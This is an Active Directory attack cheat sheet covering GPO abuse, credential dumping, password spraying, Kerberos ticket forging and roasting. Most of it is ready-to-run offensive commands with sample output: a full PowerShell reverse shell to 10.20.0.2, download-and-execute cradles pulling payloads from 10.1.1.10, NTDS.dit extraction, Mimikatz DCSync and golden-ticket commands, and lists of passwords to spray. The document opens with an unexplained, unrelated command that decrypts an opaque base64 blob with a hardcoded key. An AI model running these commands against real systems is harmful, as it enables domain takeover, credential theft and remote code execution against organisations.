echo 'edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ' | base64 -d | openssl enc -d -aes-256-cbc -K 4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b -iv 0000000000000000

Automate the SYSVOL and passwords research

Metasploit modules to enumerate shares and credentials c scanner/smb/smb_enumshares post/windows/gather/enum_shares post/windows/gather/credentials/gpp
CrackMapExec modules powershell cme smb 10.10.10.10 -u Administrator -H 89[...]9d -M gpp_autologin cme smb 10.10.10.10 -u Administrator -H 89[...]9d -M gpp_password
Get-GPPPassword ```powershell # with a NULL session Get-GPPPassword.py -no-pass 'DOMAIN_CONTROLLER'

# with cleartext credentials Get-GPPPassword.py 'DOMAIN'/'USER':'PASSWORD'@'DOMAIN_CONTROLLER'

# pass-the-hash Get-GPPPassword.py -hashes 'LMhash':'NThash' 'DOMAIN'/'USER':'PASSWORD'@'DOMAIN_CONTROLLER' ```

Mitigations

Install KB2962486 on every computer used to manage GPOs which prevents new credentials from being placed in Group Policy Preferences.
Delete existing GPP xml files in SYSVOL containing passwords.
Don’t put passwords in files that are accessible by all authenticated users.

Exploit Group Policy Objects GPO

Creators of a GPO are automatically granted explicit Edit settings, delete, modify security, which manifests as CreateChild, DeleteChild, Self, WriteProperty, DeleteTree, Delete, GenericRead, WriteDacl, WriteOwner

:triangular_flag_on_post: GPO Priorization : Organization Unit > Domain > Site > Local

GPO are stored in the DC in \\<domain.dns>\SYSVOL\<domain.dns>\Policies\<GPOName>\, inside two folders User and Machine. If you have the right to edit the GPO you can connect to the DC and replace the files. Planned Tasks are located at Machine\Preferences\ScheduledTasks.

:warning: Domain members refresh group policy settings every 90 minutes by default but it can locally be forced with the following command: gpupdate /force.

Find vulnerable GPO

Look a GPLink where you have the Write right.

Get-DomainObjectAcl -Identity "SuperSecureGPO" -ResolveGUIDs |  Where-Object {($_.ActiveDirectoryRights.ToString() -match "GenericWrite|AllExtendedWrite|WriteDacl|WriteProperty|WriteMember|GenericAll|WriteOwner")}

Abuse GPO with SharpGPOAbuse

# Build and configure SharpGPOAbuse
$ git clone https://github.com/FSecureLABS/SharpGPOAbuse
$ Install-Package CommandLineParser -Version 1.9.3.15
$ ILMerge.exe /out:C:\SharpGPOAbuse.exe C:\Release\SharpGPOAbuse.exe C:\Release\CommandLine.dll

# Adding User Rights
.\SharpGPOAbuse.exe --AddUserRights --UserRights "SeTakeOwnershipPrivilege,SeRemoteInteractiveLogonRight" --UserAccount bob.smith --GPOName "Vulnerable GPO"

# Adding a Local Admin
.\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount bob.smith --GPOName "Vulnerable GPO"

# Configuring a User or Computer Logon Script
.\SharpGPOAbuse.exe --AddUserScript --ScriptName StartupScript.bat --ScriptContents "powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.10:80/a'))\"" --GPOName "Vulnerable GPO"

# Configuring a Computer or User Immediate Task
# /!\ Intended to "run once" per GPO refresh, not run once per system
.\SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author DOMAIN\Admin --Command "cmd.exe" --Arguments "/c powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.10:80/a'))\"" --GPOName "Vulnerable GPO"
.\SharpGPOAbuse.exe --AddComputerTask --GPOName "VULNERABLE_GPO" --Author 'LAB.LOCAL\User' --TaskName "EvilTask" --Arguments  "/c powershell.exe -nop -w hidden -enc BASE64_ENCODED_COMMAND " --Command "cmd.exe" --Force

Abuse GPO with PowerGPOAbuse

https://github.com/rootSySdk/PowerGPOAbuse

PS> . .\PowerGPOAbuse.ps1

# Adding a localadmin 
PS> Add-LocalAdmin -Identity 'Bobby' -GPOIdentity 'SuperSecureGPO'

# Assign a new right 
PS> Add-UserRights -Rights "SeLoadDriverPrivilege","SeDebugPrivilege" -Identity 'Bobby' -GPOIdentity 'SuperSecureGPO'

# Adding a New Computer/User script 
PS> Add-ComputerScript/Add-UserScript -ScriptName 'EvilScript' -ScriptContent $(Get-Content evil.ps1) -GPOIdentity 'SuperSecureGPO'

# Create an immediate task 
PS> Add-GPOImmediateTask -TaskName 'eviltask' -Command 'powershell.exe /c' -CommandArguments "'$(Get-Content evil.ps1)'" -Author Administrator -Scope Computer/User -GPOIdentity 'SuperSecureGPO'

Abuse GPO with pyGPOAbuse

$ git clone https://github.com/Hackndo/pyGPOAbuse

# Add john user to local administrators group (Password: H4x00r123..)
./pygpoabuse.py DOMAIN/user -hashes lm:nt -gpo-id "12345677-ABCD-9876-ABCD-123456789012"

# Reverse shell example
./pygpoabuse.py DOMAIN/user -hashes lm:nt -gpo-id "12345677-ABCD-9876-ABCD-123456789012" \ 
    -powershell \ 
    -command "\$client = New-Object System.Net.Sockets.TCPClient('10.20.0.2',1234);\$stream = \$client.GetStream();[byte[]]\$bytes = 0..65535|%{0};while((\$i = \$stream.Read(\$bytes, 0, \$bytes.Length)) -ne 0){;\$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(\$bytes,0, \$i);\$sendback = (iex \$data 2>&1 | Out-String );\$sendback2 = \$sendback + 'PS ' + (pwd).Path + '> ';\$sendbyte = ([text.encoding]::ASCII).GetBytes(\$sendback2);\$stream.Write(\$sendbyte,0,\$sendbyte.Length);\$stream.Flush()};\$client.Close()" \ 
    -taskname "Completely Legit Task" \
    -description "Dis is legit, pliz no delete" \ 
    -user

Abuse GPO with PowerView

# Enumerate GPO
Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name}

# New-GPOImmediateTask to push an Empire stager out to machines via VulnGPO
New-GPOImmediateTask -TaskName Debugging -GPODisplayName VulnGPO -CommandArguments '-NoP -NonI -W Hidden -Enc AAAAAAA...' -Force

Abuse GPO with StandIn

# Add a local administrator
StandIn.exe --gpo --filter Shards --localadmin user002

# Set custom right to a user
StandIn.exe --gpo --filter Shards --setuserrights user002 --grant "SeDebugPrivilege,SeLoadDriverPrivilege"

# Execute a custom command
StandIn.exe --gpo --filter Shards --tasktype computer --taskname Liber --author "REDHOOK\Administrator" --command "C:\I\do\the\thing.exe" --args "with args"

Dumping AD Domain Credentials

You will need the following files to extract the ntds : - NTDS.dit file - SYSTEM hive (C:\Windows\System32\SYSTEM)

Usually you can find the ntds in two locations : systemroot\NTDS\ntds.dit and systemroot\System32\ntds.dit. - systemroot\NTDS\ntds.dit stores the database that is in use on a domain controller. It contains the values for the domain and a replica of the values for the forest (the Configuration container data). - systemroot\System32\ntds.dit is the distribution copy of the default directory that is used when you install Active Directory on a server running Windows Server 2003 or later to create a domain controller. Because this file is available, you can run the Active Directory Installation Wizard without having to use the server operating system CD.

However you can change the location to a custom one, you will need to query the registry to get the current location.

reg query HKLM\SYSTEM\CurrentControlSet\Services\NTDS\Parameters /v "DSA Database file"

Using ndtsutil

C:\>ntdsutil
ntdsutil: activate instance ntds
ntdsutil: ifm
ifm: create full c:\pentest
ifm: quit
ntdsutil: quit

or

ntdsutil "ac i ntds" "ifm" "create full c:\temp" q q

Using Vshadow

vssadmin create shadow /for=C :
Copy Shadow_Copy_Volume_Name\windows\ntds\ntds.dit c:\ntds.dit

You can also use the Nishang script, available at : https://github.com/samratashok/nishang

Import-Module .\Copy-VSS.ps1
Copy-VSS
Copy-VSS -DestinationDir C:\ShadowCopy\

Using vssadmin

vssadmin create shadow /for=C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\ShadowCopy
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\ShadowCopy

Using DiskShadow (a Windows signed binary)

diskshadow.txt contains :
set context persistent nowriters
add volume c: alias someAlias
create
expose %someAlias% z:
exec "cmd.exe" /c copy z:\windows\ntds\ntds.dit c:\exfil\ntds.dit
delete shadows volume %someAlias%
reset

then:
NOTE - must be executed from C:\Windows\System32
diskshadow.exe /s  c:\diskshadow.txt
dir c:\exfil
reg.exe save hklm\system c:\exfil\system.bak

Using esentutl.exe

Copy/extract a locked file such as the AD Database

esentutl.exe /y /vss c:\windows\ntds\ntds.dit /d c:\folder\ntds.dit

Extract hashes from ntds.dit

then you need to use secretsdump to extract the hashes, use the LOCAL options to use it on a retrieved ntds.dit

secretsdump.py -system /root/SYSTEM -ntds /root/ntds.dit LOCAL

secretsdump also works remotely

./secretsdump.py -dc-ip IP AD\administrator@domain -use-vss -pwd-last-set -user-status 
./secretsdump.py -hashes aad3b435b51404eeaad3b435b51404ee:0f49aab58dd8fb314e268c4c6a65dfc9 -just-dc PENTESTLAB/dc\$@10.0.0.1

-pwd-last-set: Shows pwdLastSet attribute for each NTDS.DIT account.
-user-status: Display whether or not the user is disabled.

Alternatives - modules

Metasploit modules

windows/gather/credentials/domain_hashdump

PowerSploit module

Invoke-NinjaCopy --path c:\windows\NTDS\ntds.dit --verbose --localdestination c:\ntds.dit

CrackMapExec module

cme smb 10.10.0.202 -u username -p password --ntds vss
cme smb 10.10.0.202 -u username -p password --ntds drsuapi #default

Using Mimikatz DCSync

Any member of Administrators, Domain Admins, or Enterprise Admins as well as Domain Controller computer accounts are able to run DCSync to pull password data.

# DCSync only one user
mimikatz# lsadump::dcsync /domain:htb.local /user:krbtgt

# DCSync all users of the domain
mimikatz# lsadump::dcsync /domain:htb.local /all /csv

:warning: Read-Only Domain Controllers are not allowed to pull password data for users by default.

Using Mimikatz sekurlsa

Dumps credential data in an Active Directory domain when run on a Domain Controller. :warning: Requires administrator access with debug or Local SYSTEM rights

sekurlsa::krbtgt
lsadump::lsa /inject /name:krbtgt

Crack NTLM hashes with hashcat

Useful when you want to have the clear text password or when you need to make stats about weak passwords.

Recommended wordlists: - Rockyou.txt - Have I Been Pwned founds - Weakpass.com - Read More at Methodology and Resources/Hash Cracking.md

# Basic wordlist
# (-O) will Optimize for 32 characters or less passwords
# (-w 4) will set the workload to "Insane" 
$ hashcat64.exe -m 1000 -w 4 -O -a 0 -o pathtopotfile pathtohashes pathtodico -r myrules.rule --opencl-device-types 1,2

# Generate a custom mask based on a wordlist
$ git clone https://github.com/iphelix/pack/blob/master/README
$ python2 statsgen.py ../hashcat.potfile -o hashcat.mask
$ python2 maskgen.py hashcat.mask --targettime 3600 --optindex -q -o hashcat_1H.hcmask

:warning: If the password is not a confidential data (challenges/ctf), you can use online "cracker" like : - hashmob.net - crackstation.net - hashes.com

Password spraying

Password spraying refers to the attack method that takes a large number of usernames and loops them with a single password.

The builtin Administrator account (RID:500) cannot be locked out of the system no matter how many failed logon attempts it accumulates.

Most of the time the best passwords to spray are :

P@ssw0rd01, Password123, Password1, Hello123, mimikatz
Welcome1/Welcome01
$Companyname1 :$Microsoft1
SeasonYear : Winter2019*, Spring2020!, Summer2018?, Summer2020, July2020!
Default AD password with simple mutations such as number-1, special character iteration (*,?,!,#)
Empty Password (Hash:31d6cfe0d16ae931b73c59d7e0c089c0)

Kerberos pre-auth bruteforcing

Using kerbrute, a tool to perform Kerberos pre-auth bruteforcing.

Kerberos pre-authentication errors are not logged in Active Directory with a normal Logon failure event (4625), but rather with specific logs to Kerberos pre-authentication failure (4771).

Username bruteforce powershell root@kali:~$ ./kerbrute_linux_amd64 userenum -d domain.local --dc 10.10.10.10 usernames.txt
Password bruteforce powershell root@kali:~$ ./kerbrute_linux_amd64 bruteuser -d domain.local --dc 10.10.10.10 rockyou.txt username
Password spray powershell root@kali:~$ ./kerbrute_linux_amd64 passwordspray -d domain.local --dc 10.10.10.10 domain_users.txt Password123 root@kali:~$ ./kerbrute_linux_amd64 passwordspray -d domain.local --dc 10.10.10.10 domain_users.txt rockyou.txt root@kali:~$ ./kerbrute_linux_amd64 passwordspray -d domain.local --dc 10.10.10.10 domain_users.txt '123456' -v --delay 100 -o kerbrute-passwordspray-123456.log

Spray a pre-generated passwords list

Using crackmapexec and mp64 to generate passwords and spray them against SMB services on the network. powershell crackmapexec smb 10.0.0.1/24 -u Administrator -p `(./mp64.bin Pass@wor?l?a)`
Using DomainPasswordSpray to spray a password against all users of a domain. powershell # https://github.com/dafthack/DomainPasswordSpray Invoke-DomainPasswordSpray -Password Summer2021! # /!\ be careful with the account lockout ! Invoke-DomainPasswordSpray -UserList users.txt -Domain domain-name -PasswordList passlist.txt -OutFile sprayed-creds.txt
Using SMBAutoBrute. powershell Invoke-SMBAutoBrute -UserList "C:\ProgramData\admins.txt" -PasswordList "Password1, Welcome1, 1qazXDR%+" -LockoutThreshold 5 -ShowVerbose

Spray passwords against the RDP service

Using RDPassSpray to target RDP services. powershell git clone https://github.com/xFreed0m/RDPassSpray python3 RDPassSpray.py -u [USERNAME] -p [PASSWORD] -d [DOMAIN] -t [TARGET IP]
Using hydra and ncrack to target RDP services. powershell hydra -t 1 -V -f -l administrator -P /usr/share/wordlists/rockyou.txt rdp://10.10.10.10 ncrack –connection-limit 1 -vv --user administrator -P password-file.txt rdp://10.10.10.10

BadPwdCount attribute

The number of times the user tried to log on to the account using an incorrect password. A value of 0 indicates that the value is unknown.

$ crackmapexec ldap 10.0.2.11 -u 'username' -p 'password' --kdcHost 10.0.2.11 --users
LDAP        10.0.2.11       389    dc01       Guest      badpwdcount: 0 pwdLastSet: <never>
LDAP        10.0.2.11       389    dc01       krbtgt     badpwdcount: 0 pwdLastSet: <never>

Password in AD User comment

$ crackmapexec ldap domain.lab -u 'username' -p 'password' -M user-desc
$ crackmapexec ldap 10.0.2.11 -u 'username' -p 'password' --kdcHost 10.0.2.11 -M get-desc-users
GET-DESC... 10.0.2.11       389    dc01    [+] Found following users: 
GET-DESC... 10.0.2.11       389    dc01    User: Guest description: Built-in account for guest access to the computer/domain
GET-DESC... 10.0.2.11       389    dc01    User: krbtgt description: Key Distribution Center Service Account

There are 3-4 fields that seem to be common in most AD schemas: UserPassword, UnixUserPassword, unicodePwd and msSFU30Password.

enum4linux | grep -i desc

Get-WmiObject -Class Win32_UserAccount -Filter "Domain='COMPANYDOMAIN' AND Disabled='False'" | Select Name, Domain, Status, LocalAccount, AccountType, Lockout, PasswordRequired,PasswordChangeable, Description, SID

or dump the Active Directory and grep the content.

ldapdomaindump -u 'DOMAIN\john' -p MyP@ssW0rd 10.10.10.10 -o ~/Documents/AD_DUMP/

Reading LAPS Password

Use LAPS to automatically manage local administrator passwords on domain joined computers so that passwords are unique on each managed computer, randomly generated, and securely stored in Active Directory infrastructure.

Determine if LAPS is installed

Get-ChildItem 'c:\program files\LAPS\CSE\Admpwd.dll'
Get-FileHash 'c:\program files\LAPS\CSE\Admpwd.dll'
Get-AuthenticodeSignature 'c:\program files\LAPS\CSE\Admpwd.dll'

Extract LAPS password

The "ms-mcs-AdmPwd" a "confidential" computer attribute that stores the clear-text LAPS password. Confidential attributes can only be viewed by Domain Admins by default, and unlike other attributes, is not accessible by Authenticated Users

From Windows:
adsisearcher (native binary on Windows 8+) powershell ([adsisearcher]"(&(objectCategory=computer)(ms-MCS-AdmPwd=*)(sAMAccountName=*))").findAll() | ForEach-Object { $_.properties} ([adsisearcher]"(&(objectCategory=computer)(ms-MCS-AdmPwd=*)(sAMAccountName=MACHINE$))").findAll() | ForEach-Object { $_.properties}
PowerView powershell PS > Import-Module .\PowerView.ps1 PS > Get-DomainComputer COMPUTER -Properties ms-mcs-AdmPwd,ComputerName,ms-mcs-AdmPwdExpirationTime
LAPSToolkit ```powershell $ Get-LAPSComputers ComputerName Password Expiration
------------ -------- ----------
example.domain.local dbZu7;vGaI)Y6w1L 02/21/2021 22:29:18

$ Find-LAPSDelegatedGroups $ Find-AdmPwdExtendedRights ```
Powershell AdmPwd.PS powershell foreach ($objResult in $colResults){$objComputer = $objResult.Properties; $objComputer.name|where {$objcomputer.name -ne $env:computername}|%{foreach-object {Get-AdmPwdPassword -ComputerName $_}}}
From Linux:
pyLAPS to read and write LAPS passwords: bash # Read the password of all computers ./pyLAPS.py --action get -u 'Administrator' -d 'LAB.local' -p 'Admin123!' --dc-ip 192.168.2.1 # Write a random password to a specific computer ./pyLAPS.py --action set --computer 'PC01$' -u 'Administrator' -d 'LAB.local' -p 'Admin123!' --dc-ip 192.168.2.1
CrackMapExec: bash crackmapexec smb 10.10.10.10 -u 'user' -H '8846f7eaee8fb117ad06bdd830b7586c' -M laps
LAPSDumper bash python laps.py -u 'user' -p 'password' -d 'domain.local' python laps.py -u 'user' -p 'e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c' -d 'domain.local' -l 'dc01.domain.local'
ldapsearch bash ldapsearch -x -h -D "@" -w -b "dc=<>,dc=<>,dc=<>" "(&(objectCategory=computer)(ms-MCS-AdmPwd=*))" ms-MCS-AdmPwd`

Reading GMSA Password

User accounts created to be used as service accounts rarely have their password changed. Group Managed Service Accounts (GMSAs) provide a better approach (starting in the Windows 2012 timeframe). The password is managed by AD and automatically rotated every 30 days to a randomly generated password of 256 bytes.

GMSA Attributes in the Active Directory

msDS-GroupMSAMembership (PrincipalsAllowedToRetrieveManagedPassword) - stores the security principals that can access the GMSA password.
msds-ManagedPassword - This attribute contains a BLOB with password information for group-managed service accounts.
msDS-ManagedPasswordId - This constructed attribute contains the key identifier for the current managed password data for a group MSA.
msDS-ManagedPasswordInterval - This attribute is used to retrieve the number of days before a managed password is automatically changed for a group MSA.

Extract NT hash from the Active Directory

GMSAPasswordReader (C#) ps1 # https://github.com/rvazarkar/GMSAPasswordReader GMSAPasswordReader.exe --accountname SVC_SERVICE_ACCOUNT
gMSADumper (Python) powershell # https://github.com/micahvandeusen/gMSADumper python3 gMSADumper.py -u User -p Password1 -d domain.local
Active Directory Powershell ps1 $gmsa = Get-ADServiceAccount -Identity 'SVC_SERVICE_ACCOUNT' -Properties 'msDS-ManagedPassword' $blob = $gmsa.'msDS-ManagedPassword' $mp = ConvertFrom-ADManagedPasswordBlob $blob $hash1 = ConvertTo-NTHash -Password $mp.SecureCurrentPassword
gMSA_Permissions_Collection.ps1 based on Active Directory PowerShell module

Forging Golden GMSA

One notable difference between a Golden Ticket attack and the Golden GMSA attack is that they no way of rotating the KDS root key secret. Therefore, if a KDS root key is compromised, there is no way to protect the gMSAs associated with it.

Using GoldenGMSA ```ps1 # Enumerate all gMSAs GoldenGMSA.exe gmsainfo # Query for a specific gMSA GoldenGMSA.exe gmsainfo --sid S-1-5-21-1437000690-1664695696-1586295871-1112

Dump all KDS Root Keys

GoldenGMSA.exe kdsinfo

Dump a specific KDS Root Key

GoldenGMSA.exe kdsinfo --guid 46e5b8b9-ca57-01e6-e8b9-fbb267e4adeb

Compute gMSA password

--sid : SID of the gMSA (required)

--kdskey : Base64 encoded KDS Root Key

--pwdid : Base64 of msds-ManagedPasswordID attribute value

GoldenGMSA.exe compute --sid S-1-5-21-1437000690-1664695696-1586295871-1112 # requires privileged access to the domain GoldenGMSA.exe compute --sid S-1-5-21-1437000690-1664695696-1586295871-1112 --kdskey AQAAALm45UZXyuYB[...]G2/M= # requires LDAP access GoldenGMSA.exe compute --sid S-1-5-21-1437000690-1664695696-1586295871-1112 --kdskey AQAAALm45U[...]SM0R7djG2/M= --pwdid AQAAA[..]AAA # Offline mode ```

Pass-the-Ticket Golden Tickets

Forging a TGT require the krbtgt NTLM hash

The way to forge a Golden Ticket is very similar to the Silver Ticket one. The main differences are that, in this case, no service SPN must be specified to ticketer.py, and the krbtgt ntlm hash must be used.

Using Mimikatz

# Get info - Mimikatz
lsadump::lsa /inject /name:krbtgt
lsadump::lsa /patch
lsadump::trust /patch
lsadump::dcsync /user:krbtgt

# Forge a Golden ticket - Mimikatz
kerberos::purge
kerberos::golden /user:evil /domain:pentestlab.local /sid:S-1-5-21-3737340914-2019594255-2413685307 /krbtgt:d125e4f69c851529045ec95ca80fa37e /ticket:evil.tck /ptt
kerberos::tgt

Using Meterpreter

# Get info - Meterpreter(kiwi)
dcsync_ntlm krbtgt
dcsync krbtgt

# Forge a Golden ticket - Meterpreter
load kiwi
golden_ticket_create -d <domainname> -k <nthashof krbtgt> -s <SID without le RID> -u <user_for_the_ticket> -t <location_to_store_tck>
golden_ticket_create -d pentestlab.local -u pentestlabuser -s S-1-5-21-3737340914-2019594255-2413685307 -k d125e4f69c851529045ec95ca80fa37e -t /root/Downloads/pentestlabuser.tck
kerberos_ticket_purge
kerberos_ticket_use /root/Downloads/pentestlabuser.tck
kerberos_ticket_list

Using a ticket on Linux

# Convert the ticket kirbi to ccache with kekeo
misc::convert ccache ticket.kirbi

# Alternatively you can use ticketer from Impacket
./ticketer.py -nthash a577fcf16cfef780a2ceb343ec39a0d9 -domain-sid S-1-5-21-2972629792-1506071460-1188933728 -domain amity.local mbrody-da

ticketer.py -nthash HASHKRBTGT -domain-sid SID_DOMAIN_A -domain DEV Administrator -extra-sid SID_DOMAIN_B_ENTERPRISE_519
./ticketer.py -nthash e65b41757ea496c2c60e82c05ba8b373 -domain-sid S-1-5-21-354401377-2576014548-1758765946 -domain DEV Administrator -extra-sid S-1-5-21-2992845451-2057077057-2526624608-519

export KRB5CCNAME=/home/user/ticket.ccache
cat $KRB5CCNAME

# NOTE: You may need to comment the proxy_dns setting in the proxychains configuration file
./psexec.py -k -no-pass -dc-ip 192.168.1.1 AD/administrator@192.168.1.100

If you need to swap ticket between Windows and Linux, you need to convert them with ticket_converter or kekeo.

root@kali:ticket_converter$ python ticket_converter.py velociraptor.ccache velociraptor.kirbi
Converting ccache => kirbi
root@kali:ticket_converter$ python ticket_converter.py velociraptor.kirbi velociraptor.ccache
Converting kirbi => ccache

Mitigations: * Hard to detect because they are legit TGT tickets * Mimikatz generate a golden ticket with a life-span of 10 years

Pass-the-Ticket Silver Tickets

Forging a TGS require machine account password (key) or NTLM hash of the service account.

# Create a ticket for the service
mimikatz $ kerberos::golden /user:USERNAME /domain:DOMAIN.FQDN /sid:DOMAIN-SID /target:TARGET-HOST.DOMAIN.FQDN /rc4:TARGET-MACHINE-NT-HASH /service:SERVICE

# Examples
mimikatz $ /kerberos::golden /domain:adsec.local /user:ANY /sid:S-1-5-21-1423455951-1752654185-1824483205 /rc4:ceaxxxxxxxxxxxxxxxxxxxxxxxxxxxxx /target:DESKTOP-01.adsec.local /service:cifs /ptt
mimikatz $ kerberos::golden /domain:jurassic.park /sid:S-1-5-21-1339291983-1349129144-367733775 /rc4:b18b4b218eccad1c223306ea1916885f /user:stegosaurus /service:cifs /target:labwws02.jurassic.park

# Then use the same steps as a Golden ticket
mimikatz $ misc::convert ccache ticket.kirbi

root@kali:/tmp$ export KRB5CCNAME=/home/user/ticket.ccache
root@kali:/tmp$ ./psexec.py -k -no-pass -dc-ip 192.168.1.1 AD/administrator@192.168.1.100

Interesting services to target with a silver ticket :

Service Type	Service Silver Tickets	Attack
WMI	HOST + RPCSS	`wmic.exe /authority:"kerberos:DOMAIN\DC01" /node:"DC01" process call create "cmd /c evil.exe"`
PowerShell Remoting	CIFS + HTTP + (wsman?)	`New-PSSESSION -NAME PSC -ComputerName DC01; Enter-PSSession -Name PSC`
WinRM	HTTP + wsman	`New-PSSESSION -NAME PSC -ComputerName DC01; Enter-PSSession -Name PSC`
Scheduled Tasks	HOST	`schtasks /create /s dc01 /SC WEEKLY /RU "NT Authority\System" /IN "SCOM Agent Health Check" /IR "C:/shell.ps1"`
Windows File Share (CIFS)	CIFS	`dir \\dc01\c$`
LDAP operations including Mimikatz DCSync	LDAP	`lsadump::dcsync /dc:dc01 /domain:domain.local /user:krbtgt`
Windows Remote Server Administration Tools	RPCSS + LDAP + CIFS	/

Mitigations: * Set the attribute "Account is Sensitive and Cannot be Delegated" to prevent lateral movement with the generated ticket.

Kerberoasting

"A service principal name (SPN) is a unique identifier of a service instance. SPNs are used by Kerberos authentication to associate a service instance with a service logon account. " - MSDN

Any valid domain user can request a kerberos ticket (TGS) for any domain service. Once the ticket is received, password cracking can be done offline on the ticket to attempt to break the password for whatever user the service is running as.

GetUserSPNs from Impacket Suite ```powershell $ GetUserSPNs.py active.htb/SVC_TGS:GPPstillStandingStrong2k18 -dc-ip 10.10.10.100 -request

ServicePrincipalName Name MemberOf PasswordLastSet LastLogon

active/CIFS:445 Administrator CN=Group Policy Creator Owners,CN=Users,DC=active,DC=htb 2018-07-18 21:06:40 2018-12-03 17:11:11

$krb5tgs$23$Administrator$ACTIVE.HTB$active/CIFS~445$424338c0a3c3af43[...]84fd2 ```

CrackMapExec Module powershell $ crackmapexec ldap 10.0.2.11 -u 'username' -p 'password' --kdcHost 10.0.2.11 --kerberoast output.txt LDAP 10.0.2.11 389 dc01 [*] Windows 10.0 Build 17763 x64 (name:dc01) (domain:lab.local) (signing:True) (SMBv1:False) LDAP 10.0.2.11 389 dc01 $krb5tgs$23$*john.doe$lab.local$MSSQLSvc/dc01.lab.local~1433*$efea32[...]49a5e82$b28fc61[...]f800f6dcd259ea1fca8f9
Rubeus ```powershell # Stats Rubeus.exe kerberoast /stats ------------------------------------- ---------------------------------- | Supported Encryption Type | Count | | Password Last Set Year | Count |

| RC4_HMAC_DEFAULT | 1 | | 2021 | 1 |

# Kerberoast (RC4 ticket) Rubeus.exe kerberoast /creduser:DOMAIN\JOHN /credpassword:MyP@ssW0RD /outfile:hash.txt

# Kerberoast (AES ticket) # Accounts with AES enabled in msDS-SupportedEncryptionTypes will have RC4 tickets requested. Rubeus.exe kerberoast /tgtdeleg

# Kerberoast (RC4 ticket) # The tgtdeleg trick is used, and accounts without AES enabled are enumerated and roasted. Rubeus.exe kerberoast /rc4opsec ```

PowerView powershell Request-SPNTicket -SPN "MSSQLSvc/dcorp-mgmt.dollarcorp.moneycorp.local"
bifrost on macOS machine powershell ./bifrost -action asktgs -ticket doIF<...snip...>QUw= -service host/dc1-lab.lab.local -kerberoast true
targetedKerberoast powershell # for each user without SPNs, it tries to set one (abuse of a write permission on the servicePrincipalName attribute), # print the "kerberoast" hash, and delete the temporary SPN set for that operation targetedKerberoast.py [-h] [-v] [-q] [-D TARGET_DOMAIN] [-U USERS_FILE] [--request-user username] [-o OUTPUT_FILE] [--use-ldaps] [--only-abuse] [--no-abuse] [--dc-ip ip address] [-d DOMAIN] [-u USER] [-k] [--no-pass | -p PASSWORD | -H [LMHASH:]NTHASH | --aes-key hex key]

Then crack the ticket using the correct hashcat mode ($krb5tgs$23= etype 23)

Mode	Description
`13100`	Kerberos 5 TGS-REP etype 23 (RC4)
`19600`	Kerberos 5 TGS-REP etype 17 (AES128-CTS-HMAC-SHA1-96)
`19700`	Kerberos 5 TGS-REP etype 18 (AES256-CTS-HMAC-SHA1-96)

./hashcat -m 13100 -a 0 kerberos_hashes.txt crackstation.txt
./john --wordlist=/opt/wordlists/rockyou.txt --fork=4 --format=krb5tgs ~/kerberos_hashes.txt

Mitigations: * Have a very long password for your accounts with SPNs (> 32 characters) * Make sure no users have SPNs

KRB_AS_REP Roasting

If a domain user does not have Kerberos preauthentication enabled, an AS-REP can be successfully requested for the user, and a component of the structure can be cracked offline a la kerberoasting

Requirements: - Accounts with the attribute DONT_REQ_PREAUTH (PowerView > Get-DomainUser -PreauthNotRequired -Properties distinguishedname -Verbose)

Rubeus ```powershell C:\Rubeus>Rubeus.exe asreproast /user:TestOU3user /format:hashcat /outfile:hashes.asreproast [] Action: AS-REP roasting [] Target User : TestOU3user [] Target Domain : testlab.local [] SamAccountName : TestOU3user [] DistinguishedName : CN=TestOU3user,OU=TestOU3,OU=TestOU2,OU=TestOU1,DC=testlab,DC=local [] Using domain controller: testlab.local (192.168.52.100) [] Building AS-REQ (w/o preauth) for: 'testlab.local\TestOU3user' [] Connecting to 192.168.52.100:88 [] Sent 169 bytes [] Received 1437 bytes [+] AS-REQ w/o preauth successful! [*] AS-REP hash:

$krb5asrep$TestOU3user@testlab.local:858B6F645D9F9B57210292E5711E0...(snip)... ```

GetNPUsers from Impacket Suite ```powershell $ python GetNPUsers.py htb.local/svc-alfresco -no-pass [*] Getting TGT for svc-alfresco $krb5asrep$23$svc-alfresco@HTB.LOCAL:c13528009a59be0a634bb9b8e84c88ee$cb8e87d02bd0ac7a[...]e776b4

# extract hashes root@kali:impacket-examples$ python GetNPUsers.py jurassic.park/ -usersfile usernames.txt -format hashcat -outputfile hashes.asreproast root@kali:impacket-examples$ python GetNPUsers.py jurassic.park/triceratops:Sh4rpH0rns -request -format hashcat -outputfile hashes.asreproast ```

CrackMapExec Module powershell $ crackmapexec ldap 10.0.2.11 -u 'username' -p 'password' --kdcHost 10.0.2.11 --asreproast output.txt LDAP 10.0.2.11 389 dc01 $krb5asrep$23$john.doe@LAB.LOCAL:5d1f750[...]2a6270d7$096fc87726c64e545acd4687faf780[...]13ea567d5

Using hashcat or john to crack the ticket.

# crack AS_REP messages with hashcat
root@kali:impacket-examples$ hashcat -m 18200 --force -a 0 hashes.asreproast passwords_kerb.txt 
root@windows:hashcat$ hashcat64.exe -m 18200 '<AS_REP-hash>' -a 0 c:\wordlists\rockyou.txt

# crack AS_REP messages with john
C:\Rubeus> john --format=krb5asrep --wordlist=passwords_kerb.txt hashes.asreproast

Mitigations: * All accounts must have "Kerberos Pre-Authentication" enabled (Enabled by Default).

Shadow Credentials

Add Key Credentials to the attribute msDS-KeyCredentialLink of the target user/computer object and then perform Kerberos authentication as that account using PKINIT to obtain a TGT for that user.

:warning: User objects can't edit their own msDS-KeyCredentialLink attribute while computer objects can. Computer objects can edit their own msDS-KeyCredentialLink attribute but can only add a KeyCredential if none already exists

Requirements: * Domain Controller on (at least) Windows Server 2016 * PKINIT Kerberos authentication * An account with the delegated rights to write to the msDS-KeyCredentialLink attribute of the target object

